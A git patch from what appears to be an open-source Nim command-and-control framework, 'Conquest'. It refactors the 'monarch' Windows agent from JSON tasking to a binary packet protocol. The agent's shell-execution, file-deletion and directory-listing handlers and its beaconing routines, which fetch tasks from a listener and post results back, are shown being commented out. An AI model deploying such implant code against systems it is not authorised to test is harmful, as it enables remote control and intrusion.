From 5825ec91a1c6081d73309441e5e1d8c526bd35fc Mon Sep 17 00:00:00 2001
From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com>
Date: Fri, 18 Jul 2025 14:24:07 +0200
Subject: [PATCH 1/4] Started rewriting JSON task to custom binary structure.
Parsed and serialized task object into seq[byte]
---
src/agents/monarch/commands/commands.nim | 4 +-
src/agents/monarch/commands/filesystem.nim | 526 ++++++++++-----------
src/agents/monarch/commands/shell.nim | 44 +-
src/agents/monarch/commands/sleep.nim | 42 +-
src/agents/monarch/http.nim | 50 +-
src/agents/monarch/nim.cfg | 2 +-
src/agents/monarch/taskHandler.nim | 45 +-
src/agents/monarch/types.nim | 4 +-
src/agents/monarch/utils.nim | 2 +-
src/common/crypto.nim | 0
src/common/serialize.nim | 66 +++
src/common/types.nim | 149 ++++++
src/server/api/handlers.nim | 28 +-
src/server/api/routes.nim | 15 +-
src/server/core/agent.nim | 4 +-
src/server/core/listener.nim | 2 +-
src/server/core/server.nim | 2 +-
src/server/db/database.nim | 2 +-
src/server/db/dbAgent.nim | 2 +-
src/server/db/dbListener.nim | 2 +-
src/server/globals.nim | 2 +-
src/server/main.nim | 1 +
src/server/task/dispatcher.nim | 198 +++++++-
src/server/task/handler.nim | 185 --------
src/server/task/packer.nim | 68 +--
src/server/task/parser.nim | 86 +++-
src/server/utils.nim | 17 +-
src/types.nim | 110 -----
28 files changed, 926 insertions(+), 732 deletions(-)
create mode 100644 src/common/crypto.nim
create mode 100644 src/common/serialize.nim
create mode 100644 src/common/types.nim
delete mode 100644 src/server/task/handler.nim
delete mode 100644 src/types.nim
diff --git a/src/agents/monarch/commands/commands.nim b/src/agents/monarch/commands/commands.nim
index aea0d4d..b4f7498 100644
--- a/src/agents/monarch/commands/commands.nim
+++ b/src/agents/monarch/commands/commands.nim
@@ -1,3 +1,3 @@
-import ./[shell, sleep, filesystem]
+# import ./[shell, sleep, filesystem]
-export shell, sleep, filesystem
\ No newline at end of file
+# export shell, sleep, filesystem
\ No newline at end of file
diff --git a/src/agents/monarch/commands/filesystem.nim b/src/agents/monarch/commands/filesystem.nim
index baaa1eb..b3127a8 100644
--- a/src/agents/monarch/commands/filesystem.nim
+++ b/src/agents/monarch/commands/filesystem.nim
@@ -1,332 +1,332 @@
-import os, strutils, strformat, base64, winim, times, algorithm, json
+# import os, strutils, strformat, base64, winim, times, algorithm, json
-import ../types
+# import ../common/types
-# Retrieve current working directory
-proc taskPwd*(task: Task): TaskResult =
+# # Retrieve current working directory
+# proc taskPwd*(task: Task): TaskResult =
- echo fmt"Retrieving current working directory."
+# echo fmt"Retrieving current working directory."
- try:
+# try:
- # Get current working directory using GetCurrentDirectory
- let
- buffer = newWString(MAX_PATH + 1)
- length = GetCurrentDirectoryW(MAX_PATH, &buffer)
+# # Get current working directory using GetCurrentDirectory
+# let
+# buffer = newWString(MAX_PATH + 1)
+# length = GetCurrentDirectoryW(MAX_PATH, &buffer)
- if length == 0:
- raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
+# if length == 0:
+# raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
- return TaskResult(
- task: task.id,
- agent: task.agent,
- data: encode($buffer[0 ..< (int)length] & "\n"),
- status: Completed
- )
+# return TaskResult(
+# task: task.id,
+# agent: task.agent,
+# data: encode($buffer[0 ..< (int)length] & "\n"),
+# status: Completed
+# )
- except CatchableError as err:
- return TaskResult(
- task: task.id,
- agent: task.agent,
- data: encode(fmt"An error occured: {err.msg}" & "\n"),
- status: Failed
- )
+# except CatchableError as err:
+# return TaskResult(
+# task: task.id,
+# agent: task.agent,
+# data: encode(fmt"An error occured: {err.msg}" & "\n"),
+# status: Failed
+# )
-# Change working directory
-proc taskCd*(task: Task): TaskResult =
+# # Change working directory
+# proc taskCd*(task: Task): TaskResult =
- # Parse arguments
- let targetDirectory = parseJson(task.args)["directory"].getStr()
+# # Parse arguments
+# let targetDirectory = parseJson(task.args)["directory"].getStr()
- echo fmt"Changing current working directory to {targetDirectory}."
+# echo fmt"Changing current working directory to {targetDirectory}."
- try:
- # Get current working directory using GetCurrentDirectory
- if SetCurrentDirectoryW(targetDirectory) == FALSE:
- raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
+# try:
+# # Get current working directory using GetCurrentDirectory
+# if SetCurrentDirectoryW(targetDirectory) == FALSE:
+# raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).")
- return TaskResult(
- task: task.id,
- agent: task.agent,
- data: encode(""),
- status: Completed
- )
+# return TaskResult(
+# task: task.id,
+# agent: task.agent,
+# data: encode(""),
+# status: Completed
+# )
- except CatchableError as err:
- return TaskResult(
- task: task.id,
- agent: task.agent,
- data: encode(fmt"An error occured: {err.msg}" & "\n"),
- status: Failed
- )
+# except CatchableError as err:
+# return TaskResult(
+# task: task.id,
+# agent: task.agent,
+# data: encode(fmt"An error occured: {err.msg}" & "\n"),
+# status: Failed
+# )
-# List files and directories at a specific or at the current path
-proc taskDir*(task: Task): TaskResult =
+# # List files and directories at a specific or at the current path
+# proc taskDir*(task: Task): TaskResult =
- # Parse arguments
- var targetDirectory = parseJson(task.args)["directory"].getStr()
+# # Parse arguments
+# var targetDirectory = parseJson(task.args)["directory"].getStr()
- echo fmt"Listing files and directories."
+# echo fmt"Listing files and directories."
- try:
- # Check if users wants to list files in the current working directory or at another path
+# try:
+# # Check if users wants to list files in the current working directory or at another path
- if targetDirectory == "":
- # Get current working directory using GetCurrentDirectory
- let
- cwdBuffer = newWString(MAX_PATH + 1)
- cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
+# if targetDirectory == "":
+# # Get current working directory using GetCurrentDirectory
+# let
+# cwdBuffer = newWString(MAX_PATH + 1)
+# cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer)
- if cwdLength == 0:
- raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
+# if cwdLength == 0:
+# raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
- targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
+# targetDirectory = $cwdBuffer[0 ..< (int)cwdLength]
- # Prepare search pattern (target directory + \*)
- let searchPattern = targetDirectory & "\\*"
- let searchPatternW = newWString(searchPattern)
+# # Prepare search pattern (target directory + \*)
+# let searchPattern = targetDirectory & "\\*"
+# let searchPatternW = newWString(searchPattern)
- var
- findData: WIN32_FIND_DATAW
- hFind: HANDLE
- output = ""
- entries: seq[string] = @[]
- totalFiles = 0
- totalDirs = 0
+# var
+# findData: WIN32_FIND_DATAW
+# hFind: HANDLE
+# output = ""
+# entries: seq[string] = @[]
+# totalFiles = 0
+# totalDirs = 0
- # Find files and directories in target directory
- hFind = FindFirstFileW(searchPatternW, &findData)
+# # Find files and directories in target directory
+# hFind = FindFirstFileW(searchPatternW, &findData)
- if hFind == INVALID_HANDLE_VALUE:
- raise newException(OSError, fmt"Failed to find files ({GetLastError()}).")
+# if hFind == INVALID_HANDLE_VALUE:
+# raise newException(OSError, fmt"Failed to find files ({GetLastError()}).")
- # Directory was found and can be listed
- else:
- output = fmt"Directory: {targetDirectory}" & "\n\n"
- output &= "Mode LastWriteTime Length Name" & "\n"
- output &= "---- ------------- ------ ----" & "\n"
+# # Directory was found and can be listed
+# else:
+# output = fmt"Directory: {targetDirectory}" & "\n\n"
+# output &= "Mode LastWriteTime Length Name" & "\n"
+# output &= "---- ------------- ------ ----" & "\n"
- # Process all files and directories
- while true:
- let fileName = $cast[WideCString](addr findData.cFileName[0])
+# # Process all files and directories
+# while true:
+# let fileName = $cast[WideCString](addr findData.cFileName[0])
- # Skip current and parent directory entries
- if fileName != "." and fileName != "..":
- # Get file attributes and size
- let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0
- let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0
- let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0
- let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0
- let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow)
+# # Skip current and parent directory entries
+# if fileName != "." and fileName != "..":
+# # Get file attributes and size
+# let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0
+# let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0
+# let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0
+# let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0
+# let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow)
- # Handle flags
- var mode = ""
- if isDir:
- mode = "d"
- inc totalDirs
- else:
- mode = "-"
- inc totalFiles
+# # Handle flags
+# var mode = ""
+# if isDir:
+# mode = "d"
+# inc totalDirs
+# else:
+# mode = "-"
+# inc totalFiles
- if isArchive:
- mode &= "a"
- else:
- mode &= "-"
+# if isArchive:
+# mode &= "a"
+# else:
+# mode &= "-"
- if isReadOnly:
- mode &= "r"
- else:
- mode &= "-"
+# if isReadOnly:
+# mode &= "r"
+# else:
+# mode &= "-"
- if isHidden:
- mode &= "h"
- else:
- mode &= "-"
+# if isHidden:
+# mode &= "h"
+# else:
+# mode &= "-"
- if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0:
- mode &= "s"
- else:
- mode &= "-"
+# if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0:
+# mode &= "s"
+# else:
+# mode &= "-"
- # Convert FILETIME to local time and format
- var
- localTime: FILETIME
- systemTime: SYSTEMTIME
- dateTimeStr = "01/01/1970 00:00:00"
+# # Convert FILETIME to local time and format
+# var
+# localTime: FILETIME
+# systemTime: SYSTEMTIME
+# dateTimeStr = "01/01/1970 00:00:00"
- if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0:
- # Format date and time in PowerShell style
- dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}"
+# if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0:
+# # Format date and time in PowerShell style
+# dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}"
- # Format file size
- var sizeStr = ""
- if isDir:
- sizeStr = "
"
- else:
- sizeStr = ($fileSize).replace("-", "")
+# # Format file size
+# var sizeStr = ""
+# if isDir:
+# sizeStr = ""
+# else:
+# sizeStr = ($fileSize).replace("-", "")
- # Build the entry line
- let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}"
- entries.add(entryLine)
+# # Build the entry line
+# let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}"
+# entries.add(entryLine)
- # Find next file
- if FindNextFileW(hFind, &findData) == 0:
- break
+# # Find next file
+# if FindNextFileW(hFind, &findData) == 0:
+# break
- # Close find handle
- discard FindClose(hFind)
+# # Close find handle
+# discard FindClose(hFind)
- # Add entries to output after sorting them (directories first, files afterwards)
- entries.sort do (a, b: string) -> int:
- let aIsDir = a[0] == 'd'
- let bIsDir = b[0] == 'd'
+# # Add entries to output after sorting them (directories first, files afterwards)
+# entries.sort do (a, b: string) -> int:
+# let aIsDir = a[0] == 'd'
+# let bIsDir = b[0] == 'd'
- if aIsDir and not bIsDir:
- return -1
- elif not aIsDir and bIsDir:
- return 1
- else:
- # Extract filename for comparison (last part after the last space)
- let aParts = a.split(" ")
- let bParts = b.split(" ")
- let aName = aParts[^1]
- let bName = bParts[^1]
- return cmp(aName.toLowerAscii(), bName.toLowerAscii())
+# if aIsDir and not bIsDir:
+# return -1
+# elif not aIsDir and bIsDir:
+# return 1
+# else:
+# # Extract filename for comparison (last part after the last space)
+# let aParts = a.split(" ")
+# let bParts = b.split(" ")
+# let aName = aParts[^1]
+# let bName = bParts[^1]
+# return cmp(aName.toLowerAscii(), bName.toLowerAscii())
- for entry in entries:
- output &= entry & "\n"
+# for entry in entries:
+# output &= entry & "\n"
- # Add summary of how many files/directories have been found
- output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
- output &= fmt"{totalDirs} dir(s)" & "\n"
+# # Add summary of how many files/directories have been found
+# output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
+# output &= fmt"{totalDirs} dir(s)" & "\n"
- return TaskResult(
- task: task.id,
- agent: task.agent,
- data: encode(output),
- status: Completed
- )
+# return TaskResult(
+# task: task.id,
+# agent: task.agent,
+# data: encode(output),
+# status: Completed
+# )
- except CatchableError as err:
- return TaskResult(
- task: task.id,
- agent: task.agent,
- data: encode(fmt"An error occured: {err.msg}" & "\n"),
- status: Failed
- )
+# except CatchableError as err:
+# return TaskResult(
+# task: task.id,
+# agent: task.agent,
+# data: encode(fmt"An error occured: {err.msg}" & "\n"),
+# status: Failed
+# )
-# Remove file
-proc taskRm*(task: Task): TaskResult =
+# # Remove file
+# proc taskRm*(task: Task): TaskResult =
- # Parse arguments
- let target = parseJson(task.args)["file"].getStr()
+# # Parse arguments
+# let target = parseJson(task.args)["file"].getStr()
- echo fmt"Deleting file {target}."
+# echo fmt"Deleting file {target}."
- try:
- if DeleteFile(target) == FALSE:
- raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).")
+# try:
+# if DeleteFile(target) == FALSE:
+# raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).")
- return TaskResult(
- task: task.id,
- agent: task.agent,
- data: encode(""),
- status: Completed
- )
+# return TaskResult(
+# task: task.id,
+# agent: task.agent,
+# data: encode(""),
+# status: Completed
+# )
- except CatchableError as err:
- return TaskResult(
- task: task.id,
- agent: task.agent,
- data: encode(fmt"An error occured: {err.msg}" & "\n"),
- status: Failed
- )
+# except CatchableError as err:
+# return TaskResult(
+# task: task.id,
+# agent: task.agent,
+# data: encode(fmt"An error occured: {err.msg}" & "\n"),
+# status: Failed
+# )
-# Remove directory
-proc taskRmdir*(task: Task): TaskResult =
+# # Remove directory
+# proc taskRmdir*(task: Task): TaskResult =
- # Parse arguments
- let target = parseJson(task.args)["directory"].getStr()
+# # Parse arguments
+# let target = parseJson(task.args)["directory"].getStr()
- echo fmt"Deleting directory {target}."
+# echo fmt"Deleting directory {target}."
- try:
- if RemoveDirectoryA(target) == FALSE:
- raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).")
+# try:
+# if RemoveDirectoryA(target) == FALSE:
+# raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).")
- return TaskResult(
- task: task.id,
- agent: task.agent,
- data: encode(""),
- status: Completed
- )
+# return TaskResult(
+# task: task.id,
+# agent: task.agent,
+# data: encode(""),
+# status: Completed
+# )
- except CatchableError as err:
- return TaskResult(
- task: task.id,
- agent: task.agent,
- data: encode(fmt"An error occured: {err.msg}" & "\n"),
- status: Failed
- )
+# except CatchableError as err:
+# return TaskResult(
+# task: task.id,
+# agent: task.agent,
+# data: encode(fmt"An error occured: {err.msg}" & "\n"),
+# status: Failed
+# )
-# Move file or directory
-proc taskMove*(task: Task): TaskResult =
+# # Move file or directory
+# proc taskMove*(task: Task): TaskResult =
- # Parse arguments
- echo task.args
- let
- params = parseJson(task.args)
- lpExistingFileName = params["from"].getStr()
- lpNewFileName = params["to"].getStr()
+# # Parse arguments
+# echo task.args
+# let
+# params = parseJson(task.args)
+# lpExistingFileName = params["from"].getStr()
+# lpNewFileName = params["to"].getStr()
- echo fmt"Moving {lpExistingFileName} to {lpNewFileName}."
+# echo fmt"Moving {lpExistingFileName} to {lpNewFileName}."
- try:
- if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
- raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).")
+# try:
+# if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
+# raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).")
- return TaskResult(
- task: task.id,
- agent: task.agent,
- data: encode(""),
- status: Completed
- )
+# return TaskResult(
+# task: task.id,
+# agent: task.agent,
+# data: encode(""),
+# status: Completed
+# )
- except CatchableError as err:
- return TaskResult(
- task: task.id,
- agent: task.agent,
- data: encode(fmt"An error occured: {err.msg}" & "\n"),
- status: Failed
- )
+# except CatchableError as err:
+# return TaskResult(
+# task: task.id,
+# agent: task.agent,
+# data: encode(fmt"An error occured: {err.msg}" & "\n"),
+# status: Failed
+# )
-# Copy file or directory
-proc taskCopy*(task: Task): TaskResult =
+# # Copy file or directory
+# proc taskCopy*(task: Task): TaskResult =
- # Parse arguments
- let
- params = parseJson(task.args)
- lpExistingFileName = params["from"].getStr()
- lpNewFileName = params["to"].getStr()
+# # Parse arguments
+# let
+# params = parseJson(task.args)
+# lpExistingFileName = params["from"].getStr()
+# lpNewFileName = params["to"].getStr()
- echo fmt"Copying {lpExistingFileName} to {lpNewFileName}."
+# echo fmt"Copying {lpExistingFileName} to {lpNewFileName}."
- try:
- # Copy file to new location, overwrite if a file with the same name already exists
- if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
- raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).")
+# try:
+# # Copy file to new location, overwrite if a file with the same name already exists
+# if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
+# raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).")
- return TaskResult(
- task: task.id,
- agent: task.agent,
- data: encode(""),
- status: Completed
- )
+# return TaskResult(
+# task: task.id,
+# agent: task.agent,
+# data: encode(""),
+# status: Completed
+# )
- except CatchableError as err:
- return TaskResult(
- task: task.id,
- agent: task.agent,
- data: encode(fmt"An error occured: {err.msg}" & "\n"),
- status: Failed
- )
\ No newline at end of file
+# except CatchableError as err:
+# return TaskResult(
+# task: task.id,
+# agent: task.agent,
+# data: encode(fmt"An error occured: {err.msg}" & "\n"),
+# status: Failed
+# )
\ No newline at end of file
diff --git a/src/agents/monarch/commands/shell.nim b/src/agents/monarch/commands/shell.nim
index 07acf2e..bb8706f 100644
--- a/src/agents/monarch/commands/shell.nim
+++ b/src/agents/monarch/commands/shell.nim
@@ -1,30 +1,30 @@
import winim, osproc, strutils, strformat, base64, json
-import ../types
+import ../common/types
proc taskShell*(task: Task): TaskResult =
- # Parse arguments JSON string to obtain specific values
- let
- params = parseJson(task.args)
- command = params["command"].getStr()
- arguments = params["arguments"].getStr()
+ # # Parse arguments JSON string to obtain specific values
+ # let
+ # params = parseJson(task.args)
+ # command = params["command"].getStr()
+ # arguments = params["arguments"].getStr()
- echo fmt"Executing command {command} with arguments {arguments}"
+ # echo fmt"Executing command {command} with arguments {arguments}"
- try:
- let (output, status) = execCmdEx(fmt("{command} {arguments}"))
- return TaskResult(
- task: task.id,
- agent: task.agent,
- data: encode(output),
- status: Completed
- )
+ # try:
+ # let (output, status) = execCmdEx(fmt("{command} {arguments}"))
+ # return TaskResult(
+ # task: task.id,
+ # agent: task.agent,
+ # data: encode(output),
+ # status: Completed
+ # )
- except CatchableError as err:
- return TaskResult(
- task: task.id,
- agent: task.agent,
- data: encode(fmt"An error occured: {err.msg}" & "\n"),
- status: Failed
- )
+ # except CatchableError as err:
+ # return TaskResult(
+ # task: task.id,
+ # agent: task.agent,
+ # data: encode(fmt"An error occured: {err.msg}" & "\n"),
+ # status: Failed
+ # )
diff --git a/src/agents/monarch/commands/sleep.nim b/src/agents/monarch/commands/sleep.nim
index 8ea8dea..0d8ccb8 100644
--- a/src/agents/monarch/commands/sleep.nim
+++ b/src/agents/monarch/commands/sleep.nim
@@ -1,27 +1,27 @@
-import os, strutils, strformat, base64, json
+# import os, strutils, strformat, base64, json
-import ../types
+# import ../common/types
-proc taskSleep*(task: Task): TaskResult =
+# proc taskSleep*(task: Task): TaskResult =
- # Parse task parameter
- let delay = parseJson(task.args)["delay"].getInt()
+# # Parse task parameter
+# let delay = parseJson(task.args)["delay"].getInt()
- echo fmt"Sleeping for {delay} seconds."
+# echo fmt"Sleeping for {delay} seconds."
- try:
- sleep(delay * 1000)
- return TaskResult(
- task: task.id,
- agent: task.agent,
- data: encode(""),
- status: Completed
- )
+# try:
+# sleep(delay * 1000)
+# return TaskResult(
+# task: task.id,
+# agent: task.agent,
+# data: encode(""),
+# status: Completed
+# )
- except CatchableError as err:
- return TaskResult(
- task: task.id,
- agent: task.agent,
- data: encode(fmt"An error occured: {err.msg}" & "\n"),
- status: Failed
- )
\ No newline at end of file
+# except CatchableError as err:
+# return TaskResult(
+# task: task.id,
+# agent: task.agent,
+# data: encode(fmt"An error occured: {err.msg}" & "\n"),
+# status: Failed
+# )
\ No newline at end of file
diff --git a/src/agents/monarch/http.nim b/src/agents/monarch/http.nim
index 09201c3..9dc3676 100644
--- a/src/agents/monarch/http.nim
+++ b/src/agents/monarch/http.nim
@@ -34,41 +34,41 @@ proc register*(config: AgentConfig): string =
proc getTasks*(config: AgentConfig, agent: string): seq[Task] =
- let client = newAsyncHttpClient()
- var responseBody = ""
+ # let client = newAsyncHttpClient()
+ # var responseBody = ""
- try:
- # Register agent to the Conquest server
- responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
- return parseJson(responseBody).to(seq[Task])
+ # try:
+ # # Register agent to the Conquest server
+ # responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
+ # return parseJson(responseBody).to(seq[Task])
- except CatchableError as err:
- # When the listener is not reachable, don't kill the application, but check in at the next time
- echo "[-] [getTasks]: ", responseBody
- finally:
- client.close()
+ # except CatchableError as err:
+ # # When the listener is not reachable, don't kill the application, but check in at the next time
+ # echo "[-] [getTasks]: ", responseBody
+ # finally:
+ # client.close()
return @[]
proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool =
- let client = newAsyncHttpClient()
+ # let client = newAsyncHttpClient()
- # Define headers
- client.headers = newHttpHeaders({ "Content-Type": "application/json" })
+ # # Define headers
+ # client.headers = newHttpHeaders({ "Content-Type": "application/json" })
- let taskJson = %taskResult
+ # let taskJson = %taskResult
- echo $taskJson
+ # echo $taskJson
- try:
- # Register agent to the Conquest server
- discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson)
- except CatchableError as err:
- # When the listener is not reachable, don't kill the application, but check in at the next time
- echo "[-] [postResults]: ", err.msg
- return false
- finally:
- client.close()
+ # try:
+ # # Register agent to the Conquest server
+ # discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson)
+ # except CatchableError as err:
+ # # When the listener is not reachable, don't kill the application, but check in at the next time
+ # echo "[-] [postResults]: ", err.msg
+ # return false
+ # finally:
+ # client.close()
return true
\ No newline at end of file
diff --git a/src/agents/monarch/nim.cfg b/src/agents/monarch/nim.cfg
index d0fd628..83ee299 100644
--- a/src/agents/monarch/nim.cfg
+++ b/src/agents/monarch/nim.cfg
@@ -5,4 +5,4 @@
-d:Octet3="0"
-d:Octet4="1"
-d:ListenerPort=9999
--d:SleepDelay=10
+-d:SleepDelay=1
diff --git a/src/agents/monarch/taskHandler.nim b/src/agents/monarch/taskHandler.nim
index a9c3dc2..5cd774c 100644
--- a/src/agents/monarch/taskHandler.nim
+++ b/src/agents/monarch/taskHandler.nim
@@ -1,34 +1,35 @@
import strutils, tables, json
-import ./types
+import ./common/types
import ./commands/commands
proc handleTask*(task: Task, config: AgentConfig): TaskResult =
var taskResult: TaskResult
- let handlers = {
- ExecuteShell: taskShell,
- Sleep: taskSleep,
- GetWorkingDirectory: taskPwd,
- SetWorkingDirectory: taskCd,
- ListDirectory: taskDir,
- RemoveFile: taskRm,
- RemoveDirectory: taskRmdir,
- Move: taskMove,
- Copy: taskCopy
- }.toTable
+ # let handlers = {
+ # CMD_SLEEP: taskSleep,
+ # CMD_SHELL: taskShell,
+ # CMD_PWD: taskPwd,
+ # CMD_CD: taskCd,
+ # CMD_LS: taskDir,
+ # CMD_RM: taskRm,
+ # CMD_RMDIR: taskRmdir,
+ # CMD_MOVE: taskMove,
+ # CMD_COPY: taskCopy
+ # }.toTable
# Handle task command
- taskResult = handlers[task.command](task)
- echo taskResult.data
+ # taskResult = handlers[task.command](task)
+ # echo taskResult.data
# Handle actions on specific commands
- case task.command:
- of Sleep:
- if taskResult.status == Completed:
- config.sleep = parseJson(task.args)["delay"].getInt()
- else:
- discard
+ # case task.command:
+ # of CMD_SLEEP:
+ # if taskResult.status == STATUS_COMPLETED:
+ # # config.sleep = parseJson(task.args)["delay"].getInt()
+ # discard
+ # else:
+ # discard
- # Return the result
- return taskResult
\ No newline at end of file
+ # # Return the result
+ # return taskResult
\ No newline at end of file
diff --git a/src/agents/monarch/types.nim b/src/agents/monarch/types.nim
index cb49155..1153c0e 100644
--- a/src/agents/monarch/types.nim
+++ b/src/agents/monarch/types.nim
@@ -1,6 +1,6 @@
import winim
-import ../../types
-export Task, CommandType, TaskResult, TaskStatus
+import ../../common/types
+export Task, CommandType, TaskResult, StatusType
type
ProductType* = enum
diff --git a/src/agents/monarch/utils.nim b/src/agents/monarch/utils.nim
index 47f3837..415729f 100644
--- a/src/agents/monarch/utils.nim
+++ b/src/agents/monarch/utils.nim
@@ -1,5 +1,5 @@
import strformat
-import ./types
+import ./common/types
proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string =
let
diff --git a/src/common/crypto.nim b/src/common/crypto.nim
new file mode 100644
index 0000000..e69de29
diff --git a/src/common/serialize.nim b/src/common/serialize.nim
new file mode 100644
index 0000000..8d153ab
--- /dev/null
+++ b/src/common/serialize.nim
@@ -0,0 +1,66 @@
+import streams, strutils
+import ./types
+
+type
+ Packer* = ref object
+ headerStream: StringStream
+ payloadStream: StringStream
+
+proc initTaskPacker*(): Packer =
+ result = new Packer
+ result.headerStream = newStringStream()
+ result.payloadStream = newStringStream()
+
+proc addToHeader*[T: uint8 | uint16 | uint32 | uint64](packer: Packer, value: T): Packer {.discardable.} =
+ packer.headerStream.write(value)
+ return packer
+
+proc addToPayload*[T: uint8 | uint16 | uint32 | uint64](packer: Packer, value: T): Packer {.discardable.} =
+ packer.payloadStream.write(value)
+ return packer
+
+proc addDataToHeader*(packer: Packer, data: openArray[byte]): Packer {.discardable.} =
+ packer.headerStream.writeData(data[0].unsafeAddr, data.len)
+ return packer
+
+proc addDataToPayload*(packer: Packer, data: openArray[byte]): Packer {.discardable.} =
+ packer.payloadStream.writeData(data[0].unsafeAddr, data.len)
+ return packer
+
+proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} =
+
+ if arg.data.len <= 0:
+ # Optional argument was passed as "", ignore
+ return
+
+ packer.addToPayload(arg.argType)
+
+ case arg.argType:
+ of cast[uint8](STRING), cast[uint8](BINARY):
+ # Add length for variable-length data types
+ packer.addToPayload(cast[uint32](arg.data.len))
+ packer.addDataToPayload(arg.data)
+ else:
+ packer.addDataToPayload(arg.data)
+ return packer
+
+proc packPayload*(packer: Packer): seq[byte] =
+ packer.payloadStream.setPosition(0)
+ let data = packer.payloadStream.readAll()
+
+ result = newSeq[byte](data.len)
+ for i, c in data:
+ result[i] = byte(c.ord)
+
+ packer.payloadStream.setPosition(0)
+
+proc packHeader*(packer: Packer): seq[byte] =
+ packer.headerStream.setPosition(0)
+ let data = packer.headerStream.readAll()
+
+ # Convert string to seq[byte]
+ result = newSeq[byte](data.len)
+ for i, c in data:
+ result[i] = byte(c.ord)
+
+ packer.headerStream.setPosition(0)
\ No newline at end of file
diff --git a/src/common/types.nim b/src/common/types.nim
new file mode 100644
index 0000000..ab45159
--- /dev/null
+++ b/src/common/types.nim
@@ -0,0 +1,149 @@
+import prompt
+import tables
+import times
+import streams
+
+# Custom Binary Task structure
+const
+ MAGIC* = 0x514E3043'u32 # Magic value: C0NQ
+ VERSION* = 1'u8 # Version 1l
+ HEADER_SIZE* = 32'u8 # 32 bytes fixed packet header size
+
+type
+ PacketType* = enum
+ MSG_TASK = 0'u8
+ MSG_RESPONSE = 1'u8
+ MSG_REGISTER = 100'u8
+
+ ArgType* = enum
+ STRING = 0'u8
+ INT = 1'u8
+ LONG = 2'u8
+ BOOL = 3'u8
+ BINARY = 4'u8
+
+ HeaderFlags* = enum
+ # Flags should be powers of 2 so they can be connected with or operators
+ FLAG_PLAINTEXT = 0'u16
+ FLAG_ENCRYPTED = 1'u16
+
+ CommandType* = enum
+ CMD_SLEEP = 0'u16
+ CMD_SHELL = 1'u16
+ CMD_PWD = 2'u16
+ CMD_CD = 3'u16
+ CMD_LS = 4'u16
+ CMD_RM = 5'u16
+ CMD_RMDIR = 6'u16
+ CMD_MOVE = 7'u16
+ CMD_COPY = 8'u16
+
+ StatusType* = enum
+ STATUS_COMPLETED = 0'u8
+ STATUS_FAILED = 1'u8
+
+ ResultType* = enum
+ RESULT_STRING = 0'u8
+ RESULT_BINARY = 1'u8
+
+ Header* = object
+ magic*: uint32 # [4 bytes ] magic value
+ version*: uint8 # [1 byte ] protocol version
+ packetType*: uint8 # [1 byte ] message type
+ flags*: uint16 # [2 bytes ] message flags
+ seqNr*: uint32 # [4 bytes ] sequence number / nonce
+ size*: uint32 # [4 bytes ] size of the payload body
+ hmac*: array[16, byte] # [16 bytes] hmac for message integrity
+
+ TaskArg* = object
+ argType*: uint8 # [1 byte ] argument type
+ data*: seq[byte] # variable length data (for variable data types (STRING, BINARY), the first 4 bytes indicate data length)
+
